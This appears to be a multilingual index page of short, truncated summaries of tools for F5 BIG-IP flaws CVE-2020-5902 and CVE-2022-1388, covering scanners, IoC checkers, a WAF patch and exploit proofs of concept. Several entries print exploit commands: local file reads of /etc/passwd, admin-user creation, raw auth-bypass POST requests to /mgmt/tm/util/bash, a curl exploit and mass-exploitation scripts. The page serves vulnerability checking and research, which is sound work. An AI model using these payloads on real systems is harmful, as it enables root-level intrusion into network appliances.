CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Scanner automatisé pour l'exécution de code à distance F5 Big IP CVE-2020-5902 écrit en Python 3 Description de la vulnérabilité F5 a publié une vulnérabilité critique d'exécution de code à distance CVE-2020-5902 le 30 juin 2020, affectant plusieurs versions de Big IP. Un...

cve-2020-5902-ioc-bigip-checker

Outil de détection d'IoC CVE-2020-5902 Ce script est destiné à être exécuté localement sur un F5 BIG-IP dans l'Advanced Shell bash par un utilisateur disposant des privilèges root ; il n'est pas destiné à être exécuté dans tout autre environnement. Remarque : le mode Appliance ne permet pas l'acc...

CVE-2022-1388-checker

CVE-2022-1388-checker Script simple réalisé en bash, pour la vérification de multiples hôtes pour CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt Références https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2020-5902-Scanner

Scanner CVE-2020-5902 Script automatisé pour le scanner F5 BIG-IP CVE-2020-5902 utilisant des hôtes récupérés depuis l'API Shodan. Vous devez avoir un compte Shodan pour utiliser ce script. Cliquez ici si vous n'avez pas de compte Shodan. Installation 1. Installez les dépendances. root@kitploit:...

CVE-2020-5902

CVE-2020-5902 Script Python pour exploiter la vulnérabilité F5 Big-IP CVE-2020-5902 Exemples Exploitation de la lecture de fichier local : python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploitation RCE : python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2022-1388_PoC

Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...

CVE-2022-1388-EXP

Controllo RCE F5 BIG-IP Controllo: CVE-2022-1388 Rilevamento batch RCE F5 BIG-IP Exploit: Nota: l'exploit è basato su CVE-2021-22986!...

CVE-2020-5902-F5BIG

CVE-2020-5902-F5BIG Esegui il comando come 👇 root@kitploit: go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...

CVE-2022-1388

CVE-2022-1388 Eine Schwachstelle zur Remote-Codeausführung existiert in der iControl REST API-Funktion von F5's BIG-IP-Produkt. Ein nicht authentifizierter, entfernter Angreifer kann diese ausnutzen, um die Authentifizierung zu umgehen und beliebige Befehle mit Root-Rechten auszuführen. VERWENDUN...

f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM Quick Patch CVE 2021-44228. Übersicht Dieses Tool verbindet sich mit einem BIG-IP-Gerät und erstellt einen benutzerdefinierten Signatursatz namens CVE-2021-4428 und wendet ihn auf alle Richtlinien im Blockierungsmodus an. Es erzwingt...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan Einführung F5 BIG-IP Remote Code Execution Schwachstelle CVE-2020-5902, fofa-Scan-Skript Voraussetzungen fofa-Mitglied, Wert von fofaproarssession eintragen. Selbstständig den Keyword-Wert in Zeile 12 ändern. Selbstständig den Seitenzahlbereich in Zeile 17 ändern. Die in...

CVE-2022-1388

CVE-2022-1388 Questo repository contiene il codice exploit Python per CVE-2022-1388 F5 BIG-IP RCE utilizzo: exploit.py -h -t TARGET -p PORT -c CMD --ssl opzioni: -h, --help mostra questo messaggio di aiuto ed esci -t TARGET, --target TARGET Specifica l'indirizzo IP/il nome di dominio del server...

f5scan

f5scan F5 BIG IP Scanner per CVE-2020-5902 di bt0 Maggiori informazioni sulla vulnerabilità: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisiti: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opzioni root@kitploit: -h, --help show this help message and...

westone-CVE-2022-1388-scanner

westone-CVE-2022-1388-scanner Richieste non divulgate possono bypassare l'autenticazione REST di iControl. Installazione e Utilizzo git clone https://github.com/Osyanina/westone-CVE-2021-21980-scanner.git cd westone-CVE-2022-1388-scanner cmd CVE-2022-1388.exe...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: Die BIG-IP-Versionen 15.0.0 bis 15.1.0.3, 14.1.0 bis 14.1.2.5, 13.1.0 bis 13.1.3.3, 12.1.0 bis 12.1.5.1 und 11.6.1 bis 11.6.5.1 weisen Sicherheitslücken im Traffic Management User Interface TMUI auf, die beliebiges Dateilesen und die Ausführung von...

F5-Big-IP-CVE-2020-5902-mass-exploiter

F5-Big-IP-CVE-2020-5902-mass-exploiter Sfruttatore/fuzzer di massa per F5 Big-IP CVE-2020-5902. usage: CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...

CVE-2022-1388

CVE-2022-1388-Exploit Script di exploit e verifica per CVE 2022-1388 Utilizzo Per verificare un singolo host tramite URL root@kitploit: python3 exploit.py -v true -u targeturl Per attaccare un host e testare un comando su questo host root@kitploit: python3 exploit.py -a true -u targeturl -c comma...

CVE-2022-1388

CVE-2022-1388 Modello Nuclei per CVE-2022-1388. Ho usato il file shadow per il POC, puoi usare anche il file passwd '/etc/passwd'. Cambia l'Extractor secondo la tua scelta. POC Riferimento: https://support.f5.com/csp/article/K23605346...

CVE-2022-1388-RCE-checker-and-POC-Exploit

Verificatore RCE CVE-2022-1388 Semplice script bash per verificare la RCE CVE-2022-1388 F5 BIG-IP. + Utilizzo: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Non dimenticare di cambiare l'indirizzo IP root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d...